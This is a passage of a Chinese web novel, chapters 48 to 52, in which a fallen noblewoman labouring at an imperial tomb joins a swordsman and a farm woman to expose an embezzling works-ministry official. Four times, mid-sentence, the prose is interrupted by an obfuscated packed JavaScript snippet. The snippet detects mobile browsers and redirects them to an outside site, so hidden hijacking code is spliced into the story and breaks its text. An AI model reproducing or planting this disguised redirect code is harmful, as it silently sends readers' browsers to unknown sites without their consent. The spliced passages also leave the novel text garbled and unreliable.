纨绔怕声名受损，带着十几个恶仆，将他拖进了无人的街角，在他脸上刺下“淫贼”二字。 贵胄公子仰天大笑而去，锦衣华服、前呼后拥、风光无限；而他低着头，挡住脸，狼狈得像只逃窜的老鼠。 他不能再教书了。 尽管他在脸上刺了更多的墨点，糊掉了那团字迹。可黥面者皆是有罪之人，无论走到哪里，都会受到异样的眼光。 他叫廖扬，扬眉吐气的扬。 但从那以后，他再也抬不起头了。 褚笑眉问道：“那位纪娘子……如今怎么样了？” “死了。”何桂芳道，“廖扬在乱葬岗找到她的时候，她像是一条被开膛破肚的鱼，眼睛还死死地瞪着。” 褚笑眉听得心惊，攥紧了拳头：“你说的那纨绔究竟是谁？居然做出此等丧尽天良之事！” “大理寺少卿次子，简文成。” “他？”褚笑眉一怔，“会不会是你记错人了……” 何桂芳道：“你认识他？” “不、不认识……”褚笑眉险些暴露身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022710|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份，连忙遮掩，“只是听说他温文尔雅、谦和有礼，不像是能做出这种事的。” “小梅，知人知面不知心哪。”何桂芳望向她，眸色幽沉。 一时间，褚笑眉产生了一种错觉。好像对方透过她的双眼，直直看进了她心底。 “让开！”突然传来一声喝骂，两个监工正拖着个血人过来。 劳工们纷纷退避，让出一条道。 那人脖颈上的皮肉被铁镣磨得外翻，双腿以不可思议的角度扭曲着，在地上拖出蜿蜒的血路。 褚笑眉以为他已经死了，定睛去看时，却发现他分明又痛楚地抽动了一下。 “这个人昨晚上想逃——”高个儿监工扬声道，“看清楚了，这就是逃跑的下场！” 胖子监工喝问：“此人是庚字十六号队的。同队的都有谁？站出来！别逼着我去翻册簿！” 劳工们面面相觑，二十余人稀稀拉拉地上前。廖扬犹豫片刻后，也走了过去。 胖子道：“逃役者，同队连坐。你们各自领十记鞭罚。” “啪！” 此起彼伏的鞭声响起，惨叫与哀嚎刺得人耳朵生疼，监工们却笑得更响。甚至还彼此交换着目光，比较着谁能让手底下的人叫得更响，以此取乐。 廖扬咬着牙强忍，仅仅是闷哼了几声。 监工似乎对他的反应很不满意，故意将鞭梢往他脸上甩。一道刺目的血痕瞬间炸开，从他左边的眉尾一直延续到右脸。若不是他闭眼及时，只怕如今已然瞎了。 “畜生。”何桂芳低骂道。 褚笑眉垂下头，注意到她的拳头攥得极紧，微微发着抖。 劳工做的活儿太重，供给的食物又少，每日都有人累死、病死或饿死。 监工见怪不怪，漠然地吩咐他们将尸体扔进坑里。 是夜，累了一日的人往草席上一倒，即刻便入了眠。 褚笑眉强撑着没有阖眼。过了约莫一刻钟，她确认屋里的人都已睡着了，终于蹑手蹑脚地出了门。 趁着夜深人静，她打算出来探探路，看能不能寻到逃跑的机会。若有活命的门路，便叫上些同队的人一起走——至少要带上何大娘。 连日的饥饿让她的身体渐渐虚弱，其他人也是一样。若真要老老实实熬下去，只怕熬不满两年，都得成为坑底的一具白骨。跑，是唯一的法子。 她循着记忆中的路前行，只能借着稀薄的月光视物。察觉到监工靠近时，已经迟了。 “谁在那儿？！”监工喝道。 白日里那个血人骤然浮现在褚笑眉眼前，明晃晃昭示着她的下场。 她心中一慌，拔腿就逃，“嘎吱”一声踩断了一根枯枝。 完了…… 绝望在她心中升起，正在此时，蓦地有人从身后揽住了她。 她下意识想喊，那人却似预料到了，一把捂上她的嘴，带着她提气轻身，纵跃而起。她只觉自己的身形轻得像风，飘进了隐蔽处。 “姑娘别喊，是我。” 褚笑眉回过头—— 只见月色如水，叶渡的眸子亮得像天上的星辰。 49. 第 49 章 “奇怪，刚刚明明看到有人影……难道是我眼花了？”监工嘟囔了一句。 手中提着的灯烛像是猩红的野兽眼睛，逡巡一圈后毫无所获，终于在黑暗中远去了。 叶渡松开了褚笑眉：“距上次相见不过一年光景，姑娘怎的沦落至此？” 原来才一年…… 这一年以内，褚家覆灭，她逃离江府，颠沛流离。如今回想起来，这短短的一年，竟似乎比她人生的前十五年还要漫长。 “说来话长。”她叹了口气，转而问道，“叶少侠呢？你又为何会在此？” “圣上颁诏广募皇工，拨内帑钱十万贯。无我门得闻官吏贪墨，克扣饷粮，私饱其囊——师父特命我来查探此事。” 褚笑眉恍然大悟：“难怪会克扣我们的吃食，还压着工钱迟迟不发……” 她并无抱怨诉苦的意思，叶渡却从只言片语中听出了她的艰辛：“姑娘受苦了。” “这有什么的？能活着已经是万幸了。”褚笑眉道，“你打算怎么查？” 叶渡道：“给这些蠹吏定罪需要实证，他们应该会有阴阳账簿。我此番潜入，正是打算来找找看，不过……” 他的目光落到褚笑眉身上，昔日明艳雍容的高门贵女如今蓬头垢面，满脸灰扑扑的，近乎看不出原本的容颜，只余一双杏眸还亮得惊人。 “不过什么？” 叶渡询问道：“此处不是什么好地方，既让我遇见了，不如我先救姑娘出去吧？” “你本有要事在身，为何要先救我？” “我今夜未必就能找到，多耽误一日也算不得什么。况且姑娘于我有救命之恩，哪有置恩人于不顾的道理？” 经他提醒，褚笑眉方才忆起：去岁在靖国公府，叶渡行刺失败后躲入她的马车，她帮忙隐瞒了下来，在靳愿的眼皮子底下带他离开。 他温声告别时，一字一句的承诺犹在耳边——“往后若有缘再见，在下必报此恩。” “等等！我不能走！”褚笑眉出言阻止，“要是我逃走了，同队的人都会连坐，我不想牵累他们。” 叶渡劝说道：“我尚且不知能否寻到证据；即便找到了，也未必就能成功解救你们。姑娘留在此处，实在危险万分……” “既是如此，我更该留下了。”褚笑眉道，“我与叶少侠里应外合，可以多一分机会。” 叶渡眼睫一颤，目光中有些惊诧：“姑娘较之从前，还真是改变了许多。” “是吗。”褚笑眉不置可否，低低一笑，“至于叶少侠所言救命之恩嘛——先欠着，我有更紧要的事想请你帮忙。” 叶渡奇道：“不知是何事？” 褚笑眉道：“等我活着离开这里，再告诉少侠吧。” 二人商议了接头的法子：叶渡轻功绝佳，行动更为便利。 若褚笑眉有讯息要传与他，则于晚饭后藏在厨房的柴禾堆下，他会趁夜深无人时偷偷去取；若要见面，也由褚笑眉以同样的法子告知时间地点，他将按时赴约。 夏末的蝉鸣已然稀疏，月光漫过未完工的陵阙，将婆娑的树影拉得老长。其间隐隐约约，藏有两道凑在一处的人影。 熟悉的女声断断续续传来：“你的伤……还好吗？” 褚笑眉浑身一震，这分明是何桂芳的声音。她凝神看去，勉强辨认出了另一人——竟是廖扬？！ “我还扛得住。”廖扬的声音虚弱得很，显然是在强撑。 想来也是，劳工的活计本就艰辛繁重，餐食又难以饱腹；如今再受了鞭刑，铁打的身子也扛不住，更何况他只是一介书生。 廖扬从怀中取出零星的铜板，塞进何桂芳手中：“这些工钱，还是你拿着。若我……咳、咳……若我没法活着出去，你自己一个人无依无靠的，还得照顾小峻，多的是用钱的地方。” “别说这样的话……”何桂芳用力摇了摇头，声音染上了些许哭腔，“我们说好的，一起活下去，你还要继续教我和小峻读书识字呢。” 褚笑眉心中震颤，原来廖扬和芳姐……他们二人…… 她暗笑自己迟钝，竟半点也没看出来。若非今夜偶然撞见，只怕还被瞒得死死的。 何桂芳新寡，廖扬也失去了自己青梅竹马的未婚妻子。这样的两个人能走到一起，重新拾回幸福，倒也是件好事。 褚笑眉悄然离去，没有打扰他们。 褚笑眉发现了何桂芳与廖扬私会；而何桂芳夜里出门时，也定然看见了褚笑眉的草席上空空如也。 翌日，她们默契地没有提及此事，好似什么都未曾发生一般。 经叶渡提醒可能有“阴阳册簿”后，褚笑眉便将目光放在了这件事上。 皇陵最外围，有陵卫军把守；陵区由外至内，分别是工棚、督工营及官舍。 工棚只是临时搭建的草棚，供劳工们居住；督工营用的是夯土墙，为监工们的住所；而官舍乃是砖瓦砌成，住的自然是主管修建陵寝的官吏。 如若真的存在所谓“阴阳册簿”，必然会藏匿在官舍之中。但官舍看守极严，即便叶渡轻功再好，也难以不被发觉地潜入。 “这可怎么办才好……”褚笑眉道，“要不我们偷些监工的衣服，看看能不能混进去？” “太冒险了，一旦打草惊蛇，那些蠹吏定会销毁罪证……”叶渡的话音骤然止住，眼眸中似有寒星一闪，“北面林中有人。” 草木的窸窣声后，林子里钻出一人：“是我。” 原来是何桂芳。 褚笑眉松了口气：“芳姐，你怎么在这儿？” 何桂芳道：“只是来看看，你夜夜私会的人是谁。” “私会”两个字，让褚笑眉的脸颊腾地烧了起来：“咳，并非你想的那样。我和叶少侠，不是你和廖……” 意识到自己失言，褚笑眉立即噤了声。 “说出来也无妨，我与廖先生两情相悦，坦坦荡荡，娘子不必忌讳。”何桂芳道，“我知道，你们在查主持修建皇陵的这些官吏。我想帮忙。” “这……”褚笑眉犹豫再三，到底还是咬了咬牙，下定决心开口，“我明白你是好心，但我……隐瞒了你一些事情。如果你知晓，大概就不会想要帮我了。” “娘子真当我不知？”何桂芳嗤笑出声，“皇工契上，你的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077121|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是楚小梅，但这并非你的真名。你的姓氏，不是双木‘楚’，而是前吏部尚书褚惟庸的‘褚’，对吗？” “你是什么时候发现的？”褚笑眉一惊。 “娘子露出的马脚实在是太多了。”何桂芳道，“桥洞下初遇，娘子身上明明有钱，却不去住店，还谎称自己没钱，形迹可疑，此为其一； “娘子的言行举止，皆与常人不同，显然是大富大贵人家的女儿，此为其二； “当初万事通做局，要骗走娘子身上的银两，廖洋因配合他，知晓了部分计划，我亦有所耳闻，此为其三； “褚家倒台，娘子流落街头；褚家满门抄斩，你也说过你家人都死了；褚家的小儿子体弱多病，你又提及过你阿弟的病症。样样都能对的上，此为其四。” 桩桩件件、条分缕析，这位连书都没怎么念过的农妇，竟有着这般惊人的洞察力。 何桂芳又补充道：“当然，这些只不过是怀疑。后来你与我一起看护小峻，我故意提起家中的祸事是褚家害的，你那时的反应，才真正印证了我的猜测。” 褚笑眉垂下了眼眸：“你既然知晓，为何还要帮我？我算是你的仇人，我以为你该寻个时机复仇……” 何桂芳道：“我家的事虽与你有牵扯，但毕竟不是你做的，更何况你又救了小峻。当时我便决定，放下这一段仇怨。 “而且，这是为了救更多的人。哪怕是出于私心，我也想要你们成功，好让我和廖扬活着出去。” 农妇的眼睛温和得像是孕育谷物的土地，她望向褚笑眉与叶渡，柔声询问：“现在，二位要听听我的计划吗？” 何桂芳说，既然不能偷偷潜入，那便索性大摇大摆地走进去。 叶渡依照嘱托，寻来了几件华服与相配的珠钗。 褚笑眉与何桂芳各自去换上，扮作是贵妇人与随侍的婢女。 叶渡盯着剩下的那一套婢女服饰，近乎要把它盯出个洞来：“非如此不可吗？” 褚笑眉装模作样地行了个江湖人的抱拳礼：“叶少侠，为了侠义之道！”她说得郑重其事，眉眼间却分明有几分戏谑之意。 何桂芳认认真真解释：“只有叶少侠你会武功，若是少了你，仅凭我和阿眉无法成事。” “好吧。”叶渡叹了口气，认命地换好了衣装。 他身为男子，又是习武之人，身形自是比女子要高大许多；穿起女装来，实在是有些不伦不类。好在他生着一张极俊朗的脸，即便扮作女人，也是一副难得的好容貌。 褚笑眉看直了眼，情难自禁地伸出手，摸了摸他的脸。 “姑娘……”叶渡后退半步，脸红到了耳朵根。 褚笑眉方才恍然回神，轻咳一声，耳尖也有些泛红：“抱歉，你太好看了，我一时忘了你是男子。” 一行三人明目张胆地走到了官舍正门。值守的门房见她雍容华贵，举手投足间尽是贵族的优雅仪态，并不敢怠慢，恭敬询问：“请问夫人是……” 褚笑眉微微颔首：“外子乃是工部侍郎严瑞。母亲近日卧病，我请遍京中名医，未得痊愈，特来与他计议。烦请你通报一声。” 50. 第 50 章 皇陵地处偏远，京中的官宦女眷来此，自然只能是见夫婿的；况且外头还有陵卫军守着，既然放人进来，想必是已经查验过了。 眼前的女子云髻高耸，金步摇在日光下流转着冷光，藕荷色襦裙外罩着银丝软烟罗大袖，端的是贵不可言。他哪里又能想到，这通身气派的贵人，实则是陵园中的劳工假冒的？ 门房不疑有他，慌忙整了整歪斜的幞头，腰弯成虾米状：“原来是严夫人。您在此稍候，小的这就差人去禀。” 一去一回，不过半盏茶时间。进去禀报的是个跑腿杂役，出来迎接的却是个蓝衫小吏：“让夫人久等了。大人此刻正在书房中，夫人且随我来。” “有劳了。”褚笑眉微笑应下。 事情的进展比想象中还要顺利。一行三人跟随小吏穿行在廊中，沿路遇见的官员，竟没有一个对他们的身份疑心的。 但即便有也不碍事。六部官员的亲眷间常有往来，本就彼此熟稔。褚笑眉确实认识严瑞一家，就算真被盘问些什么，亦绝不至于穿帮。 “侍郎大人，夫人到了。”小吏屈指叩响了雕花木门。 门内忽然静了一瞬，纸页翻动的沙沙声戛然而止，唯有镇纸压住宣纸的轻响。 “进来吧。” 得到应允后，小吏方才轻手轻脚地推开门，让褚笑眉等人入内。 “母亲的病严重吗？”严瑞从案牍中抬起头来，瞳孔骤缩，“怎么是……” “夫君，”褚笑眉当即打断了他，“我有些体己话想跟你说，还是别让旁人听见的好。” 严瑞犹豫一番，冲随侍在旁的小厮挥了挥手：“去外头守着。没有我的吩咐，谁也不许进来。” 直到门扉重新阖上，他向褚笑眉长揖一礼，再次开口：“听闻江夫人在府中养病，已许久未曾露面了。不知您今日大驾光临，所为何事？” 褚笑眉越过他，径直行至官帽椅前，悠哉游哉地理好裙摆，施施然落座：“你们工部好大的胆子！圣上拨来修陵的内帑钱，竟然也敢贪墨？” 严瑞不动声色道：“下官不明白夫人在说什么。” “呵，你心里清楚得很。我既然能出现在这儿，自然是文颂已掌握了你们的罪证。”褚笑眉冷哼出声，唤道，“阿芳。” “是，夫人。”何桂芳从怀中取出一本账簿，递至她手上。 严瑞一惊，惊疑不定地抬起了眼。按照规矩礼节，他不能盯着褚笑眉看，但他又忍不住偷偷去瞟她手中的册簿。 “别看了，这本是誊抄的。”褚笑眉道，“若我带着证物过来，万一被你们毁了怎么办？我夫君可没那么蠢。” 她往椅背上一靠，慢悠悠翻开了账簿：“啧啧啧，每人每日二十文的工钱，你们拖延着不发，即便发下去，也是层层盘剥；至于那些已经死了的劳工，你们隐瞒不报，继续利用他们的身份吃空饷。” 严瑞听得已是汗流浃背。 他自认为将账簿藏得极好，不该被刑部的江尚书找到；可若不是当真被他们寻到了账册，江夫人又为何会对个中情形知晓得这般清楚？ 他强自镇定下来，试探道：“其中想必是有误会。这终究是朝堂之事，江尚书让夫人您来干预，似乎有些不妥？” “你倒挑起我夫君的错处了？”褚笑眉眯起了眼眸，语气颇有些不悦。 严瑞慌忙低头：“下官不敢。” “你这儿偏远崎岖的，当我想来不成？你该感激我愿意过来。”她抬手拨了拨自己的耳环，金线上坠着的双珠当啷作响。 “文颂当然可以一纸奏折呈给圣上，不过这样对你可没好处。我依他的意思走这一趟，是想给你一个机会——一个与他合作的机会。” 严瑞藏在袖中的手攥得极紧，低声问道：“不知江尚书想要什么？” “严大人不妨问问自己，您有什么筹码可以拿来交易？”褚笑眉道，“文颂说，他相信您可以给出他满意的条件。” 她对朝堂上的事并不了解。根据何桂芳的建议，与其乱说一气、惹人怀疑，倒不如故作高深、卖弄关子。反正严瑞心里有鬼，他自己会把缺失的那部分补上的。 “说了这么久，侍郎大人连茶都不给我斟一杯，还真是不懂待客之道。”她扶着何桂芳的手臂，悠然起身，“罢了，既然大人不待见我，我又何必在这儿招人烦？这便告辞了。” “夫人且慢。”严瑞连忙阻拦，“怠慢了夫人，确实是下官的不是。您先歇一歇，下官这就给您沏茶。” “不必了，文颂托我传的话，我已传完了。言尽于此，侍郎大人自行抉择吧。”褚笑眉不再多言，携叶、何二人自离开了。 严瑞心中打鼓，命小厮重新关好门。 听见脚步声远去后，他指尖在书架第三层的佛塔木雕上轻轻一按，暗格机关发出极轻的“咔嗒”声。 他迅速抽开暗格，泛黄的账簿正静静躺在里面：纸页边缘微微翻卷，墨迹是他亲手写的小楷，连某一页不小心沾上的茶渍都与他记忆中分毫不差。 这是怎么回事？江夫人明明说账簿已被江尚书拿到手，可眼前这本分明是原件——难道从始至终，他们都在演一场戏？ 他猛然惊觉过来，头皮一麻，喉头发紧：“不好！中计了！” 他的手指不受控制地颤抖起来，冷汗顺着脊梁沟往下淌，官服里衣瞬间洇湿一片。他急忙从怀中掏出火折子，想要烧掉这一物证。 “嘭！”只听一声巨响，房门被人从外面踹得四分五裂。守在门口的小厮惨叫着摔进来，幞头滚到了他脚边。 他手腕抖得几乎握不住火折子，好容易才“嚓”地擦亮，橘红色的火苗刚舔上账簿封皮，顿觉腕间作痛——一颗飞蝗石击中了他手腕，他力道一软，火折子跌到地上，火光渐渐熄灭，留下一缕青烟袅袅升起。 他立即要撕毁这册簿，对方却比他更快。只见那作婢女打扮的美人飞身而起，轻盈得像一片随风而起的落叶，下一瞬便落到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124232|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他身侧，五指如铁钳般扣住他手腕。 账簿轻飘飘地落进对方手中，纸页在空中发出细微的哗啦声。 “来人！抓住他们！”在严瑞的高喊声中，叶渡已提气轻身向外逃去。 回廊里顿时涌出几十个皂衣衙役，褚笑眉和何桂芳还未来得及脱身，就被提着大刀的差役们团团围住。 一柄豁了口的佩刀迎面向她们砍来，她一把拽过何桂芳，险险避开。脚步还没落稳，下一道刀光又至。 “叮——”飞蝗石再次破空而至，正击在刀背上。差役“哎哟”一声松了手，刀脱手飞出，“当啷”扎进墙里，嵌入了足有四五寸之深，刀柄犹自颤动不休。 褚笑眉回过头，果然看见了叶渡的身影，如遇救星：“少侠！” 叶渡抢过一把长刀，护佑在旁：“别怕，再撑一会儿就好。” 严瑞眯起了眼，抬手一挥：“愣着干什么？动手啊。如若他们将账簿带离，谁都吃不了兜着走！” “大胆！”褚笑眉狐假虎威道，“我乃是刑部尚书的妻子，谁敢动我？！” “我们自是不敢伤害江夫人的。”严瑞道，“若是江尚书问起，当然是这个江湖人挟持了您，我们虽极力援救，但仍旧晚了一步，您不幸惨遭毒手。而我们会杀了这个江湖人，为您报仇。” 他冷笑出声，厉声吩咐：“这三个人，格杀勿论！” “卑鄙……”褚笑眉骂声未止，被叶渡拽到了身后，挡开当头劈来的一刀。 她咬牙切齿地道：“少侠，给我一把刀，姑奶奶跟他们拼了！” 在刀光剑影间，何桂芳颇有些战战兢兢，褚笑眉却毫无惧色，倒被激起了些许战意。叶渡见她这副模样，忍不住低笑一声，依言夺了把刀给她。 她从未习过武，幸亏天生蛮力，拿着长刀乱挥一通，竟也逼得衙役们难以近身。即便真有挡不开的，总有叶渡帮她拦住。 何桂芳躲在他们二人之间。从一人护两人，变成了两人护一人，压力登时减轻了许多。 一名小吏匆匆跑来，禀道：“严大人，不好，刑部的人到了。” 这也是何桂芳的计划中，提前安排好的一步。 她们三人之间，仅有叶渡一人身怀武功。即便诓骗严瑞暴露了账簿的位置，亦难以脱身。故而在行动前，她让叶渡提前知会了刑部。 密集的脚步声逼近，眼看着刑部的差役闯入官舍，严瑞不得不让衙役们停手。 叶渡将账本塞给何桂芳，一把揽过褚笑眉，破窗逃出。 何桂芳高举着账簿，朝来人直挺挺跪下，高声道：“工部侍郎严瑞贪墨，苛待虐伤皇工，证据在此，请大人明鉴！” 差役们侍立两旁，让出一条道来。 一双皂靴踏过地上铺就的石砖，停在她面前。再往上是金钩玉带的紫色官袍，青年神仪明秀、山眉渊目，垂眸睨着她。 他却不接她捧来的账簿，只是温声问道：“我夫人去哪儿了？” 51. 第 51 章 何桂芳的头低得更深，几乎要埋进胸口；手中的账簿却举得更高，像是举着一面旌旗。 “大人位列三品，食君之禄，当思忠君之事。如今工部贪墨之事未察，您怎的反而先问起了私事？” 江铭轻笑一声，目光从她手捧的账册、以及她身上掠过，语气波澜不兴：“物证、人证俱在此处，如何叫做‘未察’？此事证据确凿，于我已是囊中之物，又何必多问？” 他鸦睫徐徐抬起，望向大开的窗户，笑意未减，眼底却泛起寒潭般的冷意：“倒是我养的某只小雀，自以为翅膀硬了。我若是不快些抓住，她又要飞走了。” 一女子身着窄袖劲装，匆匆进来，屈膝跪地禀道：“主子，奴婢无能，没能追上。” “连你都追不上，那人功夫是不错。”江铭转动着拇指上的羊脂玉扳指，微微眯起眼，“去查，看看夫人又跑去了哪儿。” “是。”白虹垂首应下。 江铭步至严瑞身前，扔给他一方手帕，柔声关切：“严侍郎，擦擦额上的汗吧。等回到刑部，账册上所载之事，还需要你好生解释。” 言罢，他又吩咐道：“在场的这些人，都带回去慢慢审。” 彭主簿会意，上前从何桂芳手里接过了账本；两名差役跟随其后，如铁塔般分立两侧，一左一右架住了她。 何桂芳挣了挣，却被二人死死按住：“我和他们又不是一伙儿的！抓我做什么！” 彭主簿道：“您是人证，自然也得劳烦您同我们走这一趟了。” 暗室里不见天日，半寸天光都透不进来。 夯土墙面凝着水珠，指尖触上去便沾满冰凉的潮气，腐竹般的霉味在鼻尖浮动，混着墙根处某种菌类腐烂的腥气。 一个温热的东西突然蹭过她脚踝，她猛地缩回腿，紧张地蜷起了脚趾。 老鼠“吱吱”的叫声在黑暗中格外尖利，她听见窸窸窣窣的响动从脚边掠过，带起一阵阴冷的细风。 作为常年在田埂间耕种的农妇，她本不该怕这些。可此刻黑暗像块浸水的粗布，裹得人喘不过气。 墙角传来翅膀扑棱的声音，或许是蝙蝠，或许是更骇人的活物。她不敢想，只死死盯着声音传来的方向，哪怕那里什么也看不见。 更让人难以忍受的是，没有光亮，便不晓得时间过去了多久，每一刻都变得极为难挨。 她数着砖缝里水珠滴落的声音，一滴，两滴……一百五十七……她数到多少了来着？ 刑部的人将她带过来，说是要她做人证。可她等了又等，始终不见有人来盘问她。把她撂在这间暗室之后，他们好似完全地遗忘了她。 她再也受不了这种煎熬，摸索着寻到紧闭的屋门，用力拍打起来：“有人吗？我要见江尚书！” 脚步声由远及近，差役的声音隔着木门传来，略微有些发闷：“尚书大人忙着哩！再等等。” “还要等多久？”何桂芳问道。 却没有人再回答她。脚步声又远去了。 何桂芳颓然地倚靠着门，身子缓缓下滑，跌坐在地。 门外终于传来了锁芯转动的声音，房门推开的瞬间，天光晃得她睁不开眼。 她还没适应这光亮，已被两名衙役架着出了暗室。她脚步虚浮地跟随着他们的步伐，穿过七拐八弯的长长回廊，被衙役们推入公堂时，险些被高至小腿的门槛绊得一摔。 她将将稳住身形，二人又将她往下一按。她腿上发软，噗通一声跪到地上。 她抬起头，眼前是熟悉的紫色官袍与金钩玉带，神仪明秀的青年笑得温润：“可弄疼了？” 她在心里暗暗地想，阿眉说得没错，这人确实是个王八蛋。 “在皇陵时，本官问过你，我那莽撞顽劣的夫人去哪儿了，你那时没有答我。”江铭把玩着手上的玉扳指，漫不经心地道，“听说暗室最能让人清心，你如今可想起来了？” 何桂芳伏身叩首：“大人若要问工部贪墨、苛待劳工之事，民女知无不言；但若是江夫人的消息，民女一概不知。” “何娘子记性不大好啊。”江铭笑了笑，“既然不知道，不若回暗室中再想一想，兴许能记起些细枝末节的？” 何桂芳道：“大人身为朝廷要员，不问苍生之苦，只问一己之私，当真担得起头上这顶乌纱帽吗？” “放肆！”白虹厉声呵斥，“工部贪墨一案，大人俱已料理妥当。你知道什么？竟也胡乱揣度大人！” “既然大人已了结此案，想必再用不着我这个人证，又为何要扣押我不放？这不是假公济私么？” 白虹气急：“你……” 江铭一抬手，阻住了她未说完的话：“何娘子伶牙俐齿，倒比我那娇憨的夫人要能说会道许多。罢了，放她走吧。” 何桂芳的双腿已跪得发麻，起身时不由得踉跄了一下：“民女告退。” 她正欲离开，忽听得江铭清和的嗓音传来。 “何娘子，本官听说你识得一位科举落榜的廖先生，还带着一个旧疾缠身的稚子。” 何桂芳顿住了脚步：“不知大人此言何意？” “权势、钱财，本官都有。”江铭道，“何娘子什么时候想明白了，本官随时在衙门恭候。” 品香阁位于长安城西市转角处，青瓦覆顶，檐角挂着铜铃，风过时叮当作响。 叶渡已换回了原本的衣裳，他与褚笑眉步上木梯，于二楼寻了个靠窗的位置落座。 只见说书人青衫竹扇，抚尺一下。 “列位看官！今儿个咱说的这段公案，可是京城实打实发生的大事！且听我慢慢道来—— “话说当今圣上体恤苍生，见那流民乞丐沿街乞讨，心下不忍，遂降下圣旨：着工部将其招募，遣去修筑皇陵，拨内帑十万贯充作工钱！ “这本是普天同庆的善政，却不想被那工部侍郎严瑞，活活糟践成了人间炼狱！ “那严瑞道貌岸然，背地里却干着吃人的勾当！克扣工钱、残害劳工不说，但凡有人病死累死，他竟将尸首往乱葬岗一抛，拿着死人的名册继续领饷钱！ “可怜那些流民，白日里做着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134915|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛马活计，却连口薄粥都喝不上，一个两个活生生被逼死……” 褚笑眉抿了一口清茶，拈起一块桂花糕，笑道：“这说书先生的消息还挺灵通，前不久才发生的事，今日就已说上了。” 叶渡无奈道：“姑娘还笑呢。你曾身陷那般境地，不怕自己当真也成了一缕亡魂么？” 褚笑眉却笑得愈发开怀：“险死还生，更值得庆祝了。” 她轻轻晃了晃茶盏，向叶渡递出去：“以茶代酒，喝一杯？” 叶渡举杯与她相碰：“好。” 说书人的故事还在继续。 “就在这危急之际，多亏有刑部尚书江铭大人……” 听到这个名字，褚笑眉笑不出来了。 “您猜怎么着？江大人带着三班衙役，竟从严瑞书房里搜出了阴阳账簿！ “那账簿上，红字记着克扣的银钱，黑字记着枉死的人命，红黑二字写得分明，活脱脱一本阎罗殿的生死簿！ “更妙的是，江大人早先便在劳工中埋下眼线。 “那些侥幸逃生的苦哈哈，一个个跪在太极殿前，把监工们如何用烙铁烫人、如何用铁链锁人、如何将活人埋进皇陵当“镇物”，说得那叫一个声泪俱下！ “人证物证俱在，饶是严瑞有三寸不烂之舌，也辩不出个花来！” 褚笑眉冷哼一声，咬牙切齿道：“竟都成他的功劳了。” “咳，”叶渡劝慰道，“毕竟在天子脚下，说书人要说朝堂事，必然得说好话。姑娘莫恼。” “我倒要听听，这说书人还能怎么把那个王八蛋夸出花来。” 说书人讲到激昂处，将抚尺重重砸上案几。 “圣上龙颜震怒，当场摘了严瑞的乌纱帽！ “昨日去抄的严家，从他府上搜出的金银珠宝，够把整条朱雀大街的店铺都盘下来！ “而那些被解救的劳工，个个在刑部门前跪地磕头，连声道谢，直称江大人为再生父母啊！” “都说新官上任三把火，您且看这江铭江大人，接连扳倒褚惟庸、严瑞两大贪官！ “如今百姓间都传唱着：有冤无处说，江尚书来伸张，清如水、明如镜，照得见奸臣心肝黑；有苦无处诉，江尚书来做主，泽如雨、亮如昼，照得见百姓泪花流……” 褚笑眉的红唇已咬出了深深的牙痕，手上的力道失去控制，将那桂花糕捏成了碎渣。 她嫌恶地轻嗤一声：“我现下倒觉得，这说书人知道得这般快，是江铭有意放出的消息。 “此人惯常如此，素来知晓怎么给自己博个好声名。” 她与江铭的仇怨，隔着褚家、张家、以及靖国公府上下的性命。 叶渡知晓她心中有恨，却也无从劝解。 他只是默然地收拾好糕点的残渣，转移话题道：“我尚且还欠着姑娘救命之恩未报，姑娘可有什么需要我做的？” 褚笑眉深深地吐息几次，勉力平复下心绪，答道：“我早想好了。 “我有一样极重要的物件，要麻烦少侠帮我去取。” 52. 第 52 章 叶渡见她如此郑重其事，也正色问道：“不知是什么物件？” “是我的家传信物，就藏在……” “我带姑娘同去吧。”叶渡的嗓音清冽如泉，出言打断了她。 “既是这般要紧的信物，我又怎好经手？还是姑娘亲自去取，最为妥当。” 褚笑眉犹豫道：“你一个人尚可偷偷潜入褚宅，若是带上我，会否太过累赘了？” “姑娘未免太瞧不起我的武功了。放心，定不会教你暴露踪迹。” 